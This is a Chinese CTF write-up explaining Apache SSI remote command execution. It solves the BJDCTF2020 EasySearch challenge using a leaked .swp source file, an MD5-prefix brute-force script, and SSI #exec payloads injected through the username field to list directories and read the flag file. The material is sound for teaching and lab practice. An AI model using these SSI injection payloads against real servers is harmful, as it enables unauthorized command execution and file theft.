Apache SSI远程命令执行漏洞

什么是SSI

Apache SSI(Server Side Include),通常称为"服务器端嵌入"或者叫"服务器端包含",是一种类似于ASP的基于服务器的网页制作技术。默认扩展名是 .stm、.shtm 和 .shtml。

从技术层面来讲,SSI是一种在静态的shtml文件中根据需求插入内容;

SSI其实是一套为web服务器提供的命令,指令的基本格式为:<!--指令名称="指令内容"-->

常用的指令:

|------------------|-------------------------------------------------------------------------|
| 指令名称 | 指令作用 |
| #include | 将文本文件的内容直接插入到文档页面中 |
| #echo | 将环境变量插入到页面中 |
| #flastmod和#fsize | #flastmod文件最近更新日期。 #fsize文件的长度。 |
| #exec | 将某一外部程序的输出插入到页面中,可插入CGI程序或者是常规应用程序的输入,这取决于使用的参数是cmd还是cgi(cgi为插入到CGI程序中) |
| #config | 指定返回给客户端浏览器的错误信息、日期和文件大小的格式 |
| #printenv | 显示当前存在于WEB服务器环境中的所有环境变量 |
| #set | 可给变量赋值,以用于后面的if语句 |
| #if | 创建可以改变数据的页面,这些数据根据使用if语句时计算的要求予以显示 |

在目前我了解的应用于远程执行漏洞的指令是#exec,如果对于其他指令可以自行了解

#exec语法:

<!--#exec cmd="文件名称"-->

运用于常规程序

<!--#exec cgi="文件名称"-->

运用于CGI程序

SSI 远程命令执行漏洞产生原理

漏洞产生原因:在Apache服务器下,如果开启了SSI功能,那么就可以利用ssi指令对shtml等文件进行任意的命令执行;在文件上传时,如果限制了php上传,可以通过上传shtml利用<!--#exec cmd="命令" -->执行任意命令

触发条件

当存在一些条件时,就可以在利用ssi在web服务器上实现任意命令执行:

  • Web服务器为Apache和IIS(支持SSI功能的服务器)
  • 服务器有上传或者用户输入页面且未对相关SSI关键字做过滤
  • Web应用程序在返回响应的HTML页面时,嵌入用户输入
  • 未对输入的参数值进行输入过滤

例题

BJDCTF2020EasySearch

打开环境,是一个类似登录框的东西

尝试登录一下

常规进行抓包看看有没有什么提示,响应头没有什么提示,进行目录的扫描

进行目录扫描不建议使用disearch,这里使用dirmap,这是一个功能强于DirBuster、Dirsearch、cansina、御剑的扫描软件

扫描发现一个swp备份文件,尝试访问

拿到源码,审查一下代码

复制代码
 if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '

传入的密码在经过md5加密后的,前6位等于6d0bc1

在网上找一个脚本跑一下

复制代码
import hashlib

for i in range(100000000):
    a = hashlib.md5(str(i).encode("utf-8")).hexdigest()

    if a[0:6] == '6d0bc1':
        print(i)

passward可以为这两组数字

现在开始尝试登录

admin&2020666

抓包看看响应头的回显,提示了一个url直接去访问

访问后能看见回显了我们刚刚登录的username ,说明这里存在注入点,可以利用

注入方式就是我们应该考虑的,我们的思路应该还是先利用命令执行来获取关于flag的信息,并且可以发现此时的后缀是shtml,那么就存在SSI漏洞尝试进行注入

在username的位置进行ssi注入

复制代码
<!--#exec cmd="ls /"-->

不能明显的发现flag的位置,也可以再单独的去ls每个子目录下的内容,或者是直接查看flag的位置

复制代码
<!--#exec cmd="find / -name flag*"-->

cat flag

复制代码
<!--#exec cmd="cat /var/www/html/flag_990c66bf85a09c664f0b6741840499b2"-->
相关推荐
Htr_16 小时前
Outcome 核心概念与实战应用指南
大数据·hadoop·apache
SelectDB技术团队21 小时前
网易 日志与时序数据分析:Apache Doris / SelectDB 的技术能力与实践
数据挖掘·数据分析·apache
SelectDB技术团队21 小时前
抖音集团 实时数据仓库:Apache Doris / SelectDB 的技术能力与实践
数据仓库·apache
FoldWinCard3 天前
Apache
linux·运维·apache
闲云野鹤在人间5 天前
项目实战:LNMP-电商平台-ECshop
linux·运维·nginx·apache·lvs
隔窗听雨眠5 天前
湖仓一体架构深度解读:Apache Doris如何打破数据边界实现查询提速30倍
架构·apache
南城以南溫暖如初1475 天前
社区健身小程序开发流程详解:技术选型与实施经验分享
java·经验分享·spring boot·mysql·vue·apache
北极糊的狐5 天前
钉钉小程序接入若依(只做增删改查,先不管工作台免登)
apache
SelectDB技术团队6 天前
阶跃星辰 Agent 可观测:Apache Doris / SelectDB 的技术能力与实践
django·apache·知识图谱
万岳科技系统开发6 天前
医疗诊所小程序如何实现患者管理和会员运营?
java·小程序·apache